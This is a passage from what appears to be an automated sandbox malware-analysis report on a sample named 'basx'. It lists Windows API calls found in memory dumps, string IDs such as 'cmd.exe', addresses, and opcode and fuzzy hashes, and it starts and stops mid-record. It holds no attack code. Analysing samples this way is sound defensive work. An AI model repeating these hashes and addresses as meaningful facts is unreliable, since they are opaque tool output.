                                                                                            • Part of subcall function 0042E31C: EnumFontsA.GDI32(?,00000000,0042E308,00000000,00000000,0042E374,?,00000000,00000000,004809BD,?,?,00000001,00000000,00000002,00000000), ref: 0042E356
                                                                                            • Part of subcall function 0042E31C: ReleaseDC.USER32(00000000,?), ref: 0042E36E
                                                                                          • SendNotifyMessageA.USER32(0002041A,00000496,00002711,-00000001), ref: 0047E6BA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: EnumFontsMessageNotifyReleaseSend
                                                                                          • String ID:
                                                                                          • API String ID: 2649214853-0
                                                                                          • Opcode ID: 7f479caed6d506e1fedd37a3e9b8fbc918d7d672324c4412b746d2e8a14c4527
                                                                                          • Instruction ID: a62c935d52da393e7312112ce75ddb0898731394ffd2a16b1d4fc3e518f8127d
                                                                                          • Opcode Fuzzy Hash: 7f479caed6d506e1fedd37a3e9b8fbc918d7d672324c4412b746d2e8a14c4527
                                                                                          • Instruction Fuzzy Hash: 5B5195746001049BC710FF67E98169A37E5EB58308B90C67BA8049B3A6DB3CED45CB9D
                                                                                          APIs
                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,0047DF83,?,?,?,?,00000000,00000000,00000000,00000000), ref: 0047DF3D
                                                                                            • Part of subcall function 0042CA00: GetSystemMetrics.USER32(0000002A), ref: 0042CA12
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ByteCharMetricsMultiSystemWide
                                                                                          • String ID: /G
                                                                                          • API String ID: 224039744-2088674125
                                                                                          • Opcode ID: 9f8ad520ff63b3f089cafa147e7d8bbd1691bb3a433f158030b0d1014876a4d7
                                                                                          • Instruction ID: 84c81a41a939c89cd5cf89585cf0d961f9543ff151f38a86aad590f5673b43e0
                                                                                          • Opcode Fuzzy Hash: 9f8ad520ff63b3f089cafa147e7d8bbd1691bb3a433f158030b0d1014876a4d7
                                                                                          • Instruction Fuzzy Hash: 53518070A04215AFDB21DF55D8C4FAA7BB8EF64318F118077E404AB3A1C778AE45CB99
                                                                                          APIs
                                                                                          • RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DFD6,?,?,00000008,00000000,00000000,0042E003), ref: 0042DF6C
                                                                                          • RegCloseKey.ADVAPI32(?,0042DFDD,?,00000000,00000000,00000000,00000000,00000000,0042DFD6,?,?,00000008,00000000,00000000,0042E003), ref: 0042DFD0
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseEnum
                                                                                          • String ID:
                                                                                          • API String ID: 2818636725-0
                                                                                          • Opcode ID: 54e2847b2ed8cbec0c232d6556bf46b22f1e93997a90c035dd6b8310f6c19c74
                                                                                          • Instruction ID: d62689c7b7995b9893119ef97773413105dd68debc8ff02f2d4f9d8a28cc91ff
                                                                                          • Opcode Fuzzy Hash: 54e2847b2ed8cbec0c232d6556bf46b22f1e93997a90c035dd6b8310f6c19c74
                                                                                          • Instruction Fuzzy Hash: DD31B270F04258AEDB11DFA6DD42BAEBBB9EB49304F91407BE501E6280D6785E01CA2D
                                                                                          APIs
                                                                                          • CreateProcessA.KERNEL32(00000000,00000000,?,?,00458278,00000000,00458260,?,?,?,00000000,00452862,?,?,?,00000001), ref: 0045283C
                                                                                          • GetLastError.KERNEL32(00000000,00000000,?,?,00458278,00000000,00458260,?,?,?,00000000,00452862,?,?,?,00000001), ref: 00452844
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateErrorLastProcess
                                                                                          • String ID:
                                                                                          • API String ID: 2919029540-0
                                                                                          • Opcode ID: 32d7980bd8ec2bee900e92c865b72ef71cfaa45d55aa0c85c0401d49ed696f28
                                                                                          • Instruction ID: fcc055d8c1a696a2a0db1e32a085008d871673fec5534948229a16d4440eefa6
                                                                                          • Opcode Fuzzy Hash: 32d7980bd8ec2bee900e92c865b72ef71cfaa45d55aa0c85c0401d49ed696f28
                                                                                          • Instruction Fuzzy Hash: A2113C72600208AF8B40DEA9DD41D9F77ECEB4E310B114567FD18D3241D678EE148B68
                                                                                          APIs
                                                                                          • FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040ADF2
                                                                                          • FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040AF4F,00000000,0040AF67,?,?,?,00000000), ref: 0040AE03
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Resource$FindFree
                                                                                          • String ID:
                                                                                          • API String ID: 4097029671-0
                                                                                          • Opcode ID: 07387713778517d694c210176a4718dd0562bb365b6db4bb8115bda04798bcb6
                                                                                          • Instruction ID: 3d7a77417cef7b3885e8747e4544195f2de945da78ee84bb1155330bb8f828e3
                                                                                          • Opcode Fuzzy Hash: 07387713778517d694c210176a4718dd0562bb365b6db4bb8115bda04798bcb6
                                                                                          • Instruction Fuzzy Hash: 0301F771300700AFD700FF69EC52E1B77EDDB46714710807AF500AB3D1D639AC10966A
                                                                                          APIs
                                                                                          • GetCurrentThreadId.KERNEL32 ref: 0041EEF3
                                                                                          • EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Thread$CurrentEnumWindows
                                                                                          • String ID:
                                                                                          • API String ID: 2396873506-0
                                                                                          • Opcode ID: 30aad164e0a195eeb96462141dc827bf49acbc8680001675c00c89b7ac155170
                                                                                          • Instruction ID: bcaa23655132f8f2785c0a842f21b48ac99b37e3223c43442b01e3940dbd0cdf
                                                                                          • Opcode Fuzzy Hash: 30aad164e0a195eeb96462141dc827bf49acbc8680001675c00c89b7ac155170
                                                                                          • Instruction Fuzzy Hash: 31015B76A04604BFD706CF6BEC1199ABBE8E789720B22887BEC04D3690E7355C10DF18
                                                                                          APIs
                                                                                          • MoveFileA.KERNEL32(00000000,00000000), ref: 00452CC2
                                                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,00452CE8), ref: 00452CCA
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorFileLastMove
                                                                                          • String ID:
                                                                                          • API String ID: 55378915-0
                                                                                          • Opcode ID: 92f277caa9c3c56662d1ce6f28aaa0531c95695199337b3952b9b7b9e7465d28
                                                                                          • Instruction ID: 1f9035ddd188b097fe3d15476f32cd7793c58c8f4df07880d9fc6ba60e4ff235
                                                                                          • Opcode Fuzzy Hash: 92f277caa9c3c56662d1ce6f28aaa0531c95695199337b3952b9b7b9e7465d28
                                                                                          • Instruction Fuzzy Hash: 9401D671A04208AB8712EB799D4149EB7ECEB8A32575045BBFC04E3243EA785E048558
                                                                                          APIs
                                                                                          • CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004527CF), ref: 004527A9
                                                                                          • GetLastError.KERNEL32(00000000,00000000,00000000,004527CF), ref: 004527B1
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateDirectoryErrorLast
                                                                                          • String ID:
                                                                                          • API String ID: 1375471231-0
                                                                                          • Opcode ID: 855e2e178366579e8cdbc9f044a0346376c594dce53ca60ac40061c8de66a150
                                                                                          • Instruction ID: e3b373b60118a844676bb749001e6832c3b26a50706decb61b3ae2e0e224b701
                                                                                          • Opcode Fuzzy Hash: 855e2e178366579e8cdbc9f044a0346376c594dce53ca60ac40061c8de66a150
                                                                                          • Instruction Fuzzy Hash: 40F02871A00308BBCB01EF759D4259EB7E8EB4E311B2045B7FC04E3642E6B94E04859C
                                                                                          APIs
                                                                                          • LoadCursorA.USER32(00000000,00007F00), ref: 00423249
                                                                                          • LoadCursorA.USER32(00000000,00000000), ref: 00423273
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CursorLoad
                                                                                          • String ID:
                                                                                          • API String ID: 3238433803-0
                                                                                          • Opcode ID: 0c9a104e89a33193f60416200903d3bd70bbd31149720632682593485f60625b
                                                                                          • Instruction ID: 5e34cf6406f075c2c63d733b1f02ef4b9a88184ee1572dc0f3c8875cc615d59b
                                                                                          • Opcode Fuzzy Hash: 0c9a104e89a33193f60416200903d3bd70bbd31149720632682593485f60625b
                                                                                          • Instruction Fuzzy Hash: 9EF0A711B04254AADA109E7E6CC0D6B72A8DF82735B61037BFA3EC72D1C62E1D414569
                                                                                          APIs
                                                                                          • SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                          • LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLibraryLoadMode
                                                                                          • String ID:
                                                                                          • API String ID: 2987862817-0
                                                                                          • Opcode ID: 4bb5710dc3172506f3a82e57bec548632d1945d06b3d92e94bd16d63dfaa8550
                                                                                          • Instruction ID: 14c2566281f292fbf4bc3f3871eddb8f7eb4f11f4d1149329263d7d1c8790498
                                                                                          • Opcode Fuzzy Hash: 4bb5710dc3172506f3a82e57bec548632d1945d06b3d92e94bd16d63dfaa8550
                                                                                          • Instruction Fuzzy Hash: 02F08970B147447FDB119F779CA241BBBECDB49B1175249B6F800A3591E53C4910C928
                                                                                          APIs
                                                                                          • SHGetKnownFolderPath.SHELL32(00499D40,00008000,00000000,?), ref: 0047C89B
                                                                                          • CoTaskMemFree.OLE32(?,0047C8DE), ref: 0047C8D1
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: FolderFreeKnownPathTask
                                                                                          • String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
                                                                                          • API String ID: 969438705-544719455
                                                                                          • Opcode ID: c380859d91d2530b1710b7ab5da91f48806622674321ef44444f1ad2bc0d7433
                                                                                          • Instruction ID: f48ec61de784b6bea0373c7a91bc006da4a0813e938d35ae17fa89473a65de5f
                                                                                          • Opcode Fuzzy Hash: c380859d91d2530b1710b7ab5da91f48806622674321ef44444f1ad2bc0d7433
                                                                                          • Instruction Fuzzy Hash: 22E09230340604BFEB15EB61DC92F6977A8EB48B01B72847BF504E2680D67CAD00DB1C
                                                                                          APIs
                                                                                          • SetFilePointer.KERNEL32(?,00000000,?,00000002,?,?,00470149,?,00000000), ref: 0045090E
                                                                                          • GetLastError.KERNEL32(?,00000000,?,00000002,?,?,00470149,?,00000000), ref: 00450916
                                                                                            • Part of subcall function 004506B4: GetLastError.KERNEL32(004504D0,00450776,?,00000000,?,00497E2C,00000001,00000000,00000002,00000000,00497F8D,?,?,00000005,00000000,00497FC1), ref: 004506B7
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast$FilePointer
                                                                                          • String ID:
                                                                                          • API String ID: 1156039329-0
                                                                                          • Opcode ID: ec46a7bc9e5a7a34518fa7989fb6988307d7ef9dfce9dbcd61575ad1106d4b51
                                                                                          • Instruction ID: 32d43412562f4d6ab64aa8be608e77008e370c57458e4df53f7444e76f76d0cb
                                                                                          • Opcode Fuzzy Hash: ec46a7bc9e5a7a34518fa7989fb6988307d7ef9dfce9dbcd61575ad1106d4b51
                                                                                          • Instruction Fuzzy Hash: 0EE012E93042015BF700EA6599C1B2F22DCDB44315F00446ABD44CA28BE678CC048B29
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Global$AllocLock
                                                                                          • String ID:
                                                                                          • API String ID: 15508794-0
                                                                                          • Opcode ID: 38fdb687bb69d238822be17628ba02d3430ff360103c12c92fad93c094244837
                                                                                          • Instruction ID: 06179efae1cd4c7c45065c0f91b58358bdd8bb936cab03a6fa385f12497be06a
                                                                                          • Opcode Fuzzy Hash: 38fdb687bb69d238822be17628ba02d3430ff360103c12c92fad93c094244837
                                                                                          • Instruction Fuzzy Hash: 3E9002C4D10B00B8DC0072B20C1AD3F146CD8C172D3D0486F7004B61C3883C88004839
                                                                                          APIs
                                                                                          • VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017ED), ref: 00401513
                                                                                          • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017ED), ref: 0040153A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Virtual$AllocFree
                                                                                          • String ID:
                                                                                          • API String ID: 2087232378-0
                                                                                          • Opcode ID: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
                                                                                          • Instruction ID: 119661fe7174a079321c86e78af40791ac039b5eb8373b45468023a5ba433726
                                                                                          • Opcode Fuzzy Hash: 94577317c2bcd4d3a70d22c0b2f2fc78c72c60cff144ef5375d29febf27e2799
                                                                                          • Instruction Fuzzy Hash: F7F08272A0063067EB60596A4C81B5359859BC5B94F154076FD09FF3E9D6B58C0142A9
                                                                                          APIs
                                                                                          • GetSystemDefaultLCID.KERNEL32(00000000,00408712), ref: 004085FB
                                                                                            • Part of subcall function 00406DEC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00406E09
                                                                                            • Part of subcall function 00408568: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: DefaultInfoLoadLocaleStringSystem
                                                                                          • String ID:
                                                                                          • API String ID: 1658689577-0
                                                                                          • Opcode ID: 92125e52594e5bc8ee6d97e09480d95589045c4468e862feaba19903f63d3f1d
                                                                                          • Instruction ID: 9026c6f0acc6bf601755118861b832b1e3c4c92574a9a05948c89544872af2a3
                                                                                          • Opcode Fuzzy Hash: 92125e52594e5bc8ee6d97e09480d95589045c4468e862feaba19903f63d3f1d
                                                                                          • Instruction Fuzzy Hash: 47314E35E00109ABCB00EB55CC819EEB779EF84314F558577E815BB286EB38AA018B98
                                                                                          APIs
                                                                                          • SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FC39
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: InfoScroll
                                                                                          • String ID:
                                                                                          • API String ID: 629608716-0
                                                                                          • Opcode ID: a0ce2aaa01497ac04468ea6ac7a83421c49688bcbeeff2d3e991700215f3b25f
                                                                                          • Instruction ID: 6365c2cd079840e4170b7c9ce409c3d873e807bce8729d2e10e5c00059922083
                                                                                          • Opcode Fuzzy Hash: a0ce2aaa01497ac04468ea6ac7a83421c49688bcbeeff2d3e991700215f3b25f
                                                                                          • Instruction Fuzzy Hash: D8214FB1608746AFC351DF3984407A6BBE4BB48344F14893EE498C3741E778E99ACBD6
                                                                                          APIs
                                                                                            • Part of subcall function 0041EEA4: GetCurrentThreadId.KERNEL32 ref: 0041EEF3
                                                                                            • Part of subcall function 0041EEA4: EnumThreadWindows.USER32(00000000,0041EE54,00000000), ref: 0041EEF9
                                                                                          • SHPathPrepareForWriteA.SHELL32(00000000,00000000,00000000,00000000,00000000,0046C4AE,?,00000000,?,?,0046C6C0,?,00000000,0046C734), ref: 0046C492
                                                                                            • Part of subcall function 0041EF58: IsWindow.USER32(?), ref: 0041EF66
                                                                                            • Part of subcall function 0041EF58: EnableWindow.USER32(?,00000001), ref: 0041EF75
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ThreadWindow$CurrentEnableEnumPathPrepareWindowsWrite
                                                                                          • String ID:
                                                                                          • API String ID: 3319771486-0
                                                                                          • Opcode ID: 0af19ab3550c8734ef4e1cf2f84aef4c41dad365f35295dd8d2c2646a272cfa9
                                                                                          • Instruction ID: eef1953176fed27c4f60a3b97998f4e8fb1447464a393d6256780c84e8a913cd
                                                                                          • Opcode Fuzzy Hash: 0af19ab3550c8734ef4e1cf2f84aef4c41dad365f35295dd8d2c2646a272cfa9
